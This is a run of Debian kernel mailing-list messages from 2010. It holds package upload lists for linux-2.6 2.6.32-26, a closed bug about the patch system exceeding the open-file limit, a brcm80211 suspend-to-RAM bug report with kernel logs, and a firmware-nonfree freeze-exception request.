linux-image-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-486_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb
Bug#600423: marked as done (linux-2.6: too many open files)
Your message dated Tue, 19 Oct 2010 23:14:31 + with message-id e1p8lo3-0005uu...@franck.debian.org and subject line Bug#600423: fixed in linux-2.6 2.6.32-26 has caused the Debian Bug report #600423, regarding linux-2.6: too many open files to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 600423: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600423 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems ---BeginMessage--- Package: linux-2.6 Severity: serious We will hit a build failure soon as the total number of patch applications and removals approaches 1024. Ben. Forwarded Message From: Thorsten Glaser t...@mirbsd.de To: Ben Hutchings b...@decadent.org.uk Cc: Bastian Blank wa...@mirbsd.org Subject: linux-2.6: too many open files Date: Wed, 13 Oct 2010 19:13:24 + (UTC) Hi, I'm trying to build the sid kernel plus smarenka’s patches which you reverted and ran into “too many open files”: patches.py has try: fp = file(os.path.join(home, 'series', i)) ret.append(PatchSeries(i, home, fp)) except IOError: pass In IPython, I get: In [41]: fp Out[41]: open file '/home/tg/linux-2.6-2.6.32/debian/patches/series/24+m68k.1', mode 'r' at 0x8e005a0 In [42]: PatchSeries(i, home, fp) --- IOError Traceback (most recent call last) /home/tg/linux-2.6-2.6.32/ipython console in module() /home/tg/linux-2.6-2.6.32/debian/lib/python/debian_linux/patches.pyc in __init__(self, name, root, fp) IOError: [Errno 24] Too many open files: '/home/tg/linux-2.6-2.6.32/debian/patches/bugfix/m68k/fp/0030-Update-for-m68k-Add-support-for-EARLY_PRINTK-on-MVM.patch' I found out that ulimit -n defaulting to 1024 is too small to handle this because that code insists on keeping all file pointers open. Just so you know… bye, //mirabilos -- I believe no one can invent an algorithm. One just happens to hit upon it when God enlightens him. Or only God invents algorithms, we merely copy them. If you don't believe in God, just consider God as Nature if you won't deny existence. -- Coywolf Qi Hunt signature.asc Description: This is a digitally signed message part ---End Message--- ---BeginMessage--- Source: linux-2.6 Source-Version: 2.6.32-26 We believe that the bug you reported is fixed in the latest version of linux-2.6, which is due to be installed in the Debian FTP archive: firmware-linux-free_2.6.32-26_all.deb to main/l/linux-2.6/firmware-linux-free_2.6.32-26_all.deb linux-2.6_2.6.32-26.diff.gz to main/l/linux-2.6/linux-2.6_2.6.32-26.diff.gz linux-2.6_2.6.32-26.dsc to main/l/linux-2.6/linux-2.6_2.6.32-26.dsc linux-base_2.6.32-26_all.deb to main/l/linux-2.6/linux-base_2.6.32-26_all.deb linux-doc-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-doc-2.6.32_2.6.32-26_all.deb linux-headers-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-486_2.6.32-26_i386.deb linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb linux-headers-2.6.32-5-all_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all_2.6.32-26_i386.deb linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb linux-headers-2.6.32-5-common_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common_2.6.32-26_i386.deb linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb
linux-2.6_2.6.32-26_i386.changes ACCEPTED into unstable
Accepted: firmware-linux-free_2.6.32-26_all.deb to main/l/linux-2.6/firmware-linux-free_2.6.32-26_all.deb linux-2.6_2.6.32-26.diff.gz to main/l/linux-2.6/linux-2.6_2.6.32-26.diff.gz linux-2.6_2.6.32-26.dsc to main/l/linux-2.6/linux-2.6_2.6.32-26.dsc linux-base_2.6.32-26_all.deb to main/l/linux-2.6/linux-base_2.6.32-26_all.deb linux-doc-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-doc-2.6.32_2.6.32-26_all.deb linux-headers-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-486_2.6.32-26_i386.deb linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb linux-headers-2.6.32-5-all_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-all_2.6.32-26_i386.deb linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-amd64_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-openvz_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-vserver_2.6.32-26_i386.deb linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common-xen_2.6.32-26_i386.deb linux-headers-2.6.32-5-common_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-common_2.6.32-26_i386.deb linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-vserver-686_2.6.32-26_i386.deb linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-headers-2.6.32-5-xen-686_2.6.32-26_i386.deb linux-image-2.6.32-5-486_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-486_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686-bigmem-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686-bigmem_2.6.32-26_i386.deb linux-image-2.6.32-5-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-686_2.6.32-26_i386.deb linux-image-2.6.32-5-amd64_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-amd64_2.6.32-26_i386.deb linux-image-2.6.32-5-openvz-686-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-openvz-686-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-openvz-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-openvz-686_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686-bigmem-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-vserver-686-bigmem-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-vserver-686-bigmem_2.6.32-26_i386.deb linux-image-2.6.32-5-vserver-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-vserver-686_2.6.32-26_i386.deb linux-image-2.6.32-5-xen-686-dbg_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-xen-686-dbg_2.6.32-26_i386.deb linux-image-2.6.32-5-xen-686_2.6.32-26_i386.deb to main/l/linux-2.6/linux-image-2.6.32-5-xen-686_2.6.32-26_i386.deb linux-libc-dev_2.6.32-26_i386.deb to main/l/linux-2.6/linux-libc-dev_2.6.32-26_i386.deb linux-manual-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-manual-2.6.32_2.6.32-26_all.deb linux-patch-debian-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-patch-debian-2.6.32_2.6.32-26_all.deb linux-source-2.6.32_2.6.32-26_all.deb to main/l/linux-2.6/linux-source-2.6.32_2.6.32-26_all.deb linux-support-2.6.32-5_2.6.32-26_all.deb to main/l/linux-2.6/linux-support-2.6.32-5_2.6.32-26_all.deb linux-tools-2.6.32_2.6.32-26_i386.deb to main/l/linux-2.6/linux-tools-2.6.32_2.6.32-26_i386.deb xen-linux-system-2.6.32-5-xen-686_2.6.32-26_i386.deb to main/l/linux-2.6/xen-linux-system-2.6.32-5-xen-686_2.6.32-26_i386.deb Override entries for your package: firmware-linux-free_2.6.32-26_all.deb - optional kernel linux-2.6_2.6.32-26.dsc - source devel linux-base_2.6.32-26_all.deb - optional kernel linux-doc-2.6.32_2.6.32-26_all.deb - optional doc linux-headers-2.6.32-5-486_2.6.32-26_i386.deb - optional kernel linux-headers-2.6.32-5-686-bigmem_2.6.32-26_i386.deb - optional kernel linux-headers-2.6.32-5-686_2.6.32-26_i386.deb - optional kernel linux-headers-2.6.32-5-all-i386_2.6.32-26_i386.deb - optional kernel linux-headers-2.6.32-5-all_2.6.32-26_i386.deb - optional kernel
Bug#600769: linux-image-2.6.32-5-amd64: brcm80211 suspend to ram issues
Package: linux-2.6 Version: 2.6.32-25 Severity: normal Hi, On suspend to ram (Toshiba R700-11E), with firmware-brcm80211 from sid/non-free, the brcm80211 module must *always* to be unloaded and reloaded again to get a fonctionnal wifi chip. (BTW, why not requesting an unblock for firmware-nonfree ?) Thanks. -- Package-specific info: ** Version: Linux version 2.6.32-5-amd64 (Debian 2.6.32-25) (da...@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Fri Oct 15 00:56:30 UTC 2010 ** Command line: BOOT_IMAGE=/vmlinuz-2.6.32-5-amd64 root=/dev/mapper/toshi-root ro quiet ** Tainted: C (1024) * Module from drivers/staging has been loaded. ** Kernel log: [ 4005.649195] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4005.808710] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4005.808723] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4005.968408] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4005.968421] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4006.128154] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4006.128166] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4006.287833] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4006.287845] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4006.447642] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4006.447655] wl0: psmdebug 0x00ff8b8b, phydebug 0x0031, psm_brc 0x [ 4006.607302] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4006.607314] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4006.767198] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4006.767211] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4006.926775] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4006.926787] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4045.262204] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4045.262218] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4045.426307] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4045.426320] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4045.585585] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4045.585598] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4045.745981] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4045.745993] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4045.908498] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4045.908510] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4046.069226] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4046.069239] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4046.228800] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4046.228812] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4046.388422] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4046.388434] wl0: psmdebug 0x00ff8b8b, phydebug 0x0001, psm_brc 0x [ 4046.548037] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4046.548050] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4046.707916] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4046.707929] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4046.867510] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4046.867522] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4095.174349] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4095.174362] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4095.334016] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4095.334029] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4095.493687] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4095.493700] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4095.653589] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4095.653602] wl0: psmdebug 0x00ff8b8b, phydebug 0x, psm_brc 0x [ 4095.813122] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and MI_MACSSPNDD is still not on. [ 4095.813135] wl0: psmdebug 0x00ff8b8b, phydebug 0x0001, psm_brc 0x [ 4095.972708] wl0: wlc_suspend_mac_and_wait: waited 83000 uS and
Bug#600776: unblock: firmware-nonfree/0.27
Package: release.debian.org Severity: normal User: release.debian@packages.debian.org Usertags: freeze-exception Please unblock package firmware-nonfree. This adds two binary packages for additional hardware support. firmware-nonfree (0.27) unstable; urgency=low [ Ben Hutchings ] * Correct version number for ipw2200 firmware * Refer to index pages for ipw2100 and ipw2200 firmware * Add bug presubj message directing users to report driver bugs against the appropriate package * Add firmware-brcm80211 binary package for use with the brcm80211 driver (Closes: #597034) [ dann frazier ] * Add firmware-netxen binary package -- Ben Hutchings b...@decadent.org.uk Sat, 18 Sep 2010 01:31:00 +0100 unblock firmware-nonfree/0.27 -- System Information: Debian Release: squeeze/sid APT prefers proposed-updates APT policy: (500, 'proposed-updates'), (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: i386 (x86_64) Kernel: Linux 2.6.32-5-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-kernel-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20101020003506.18222.10266.report...@localhost
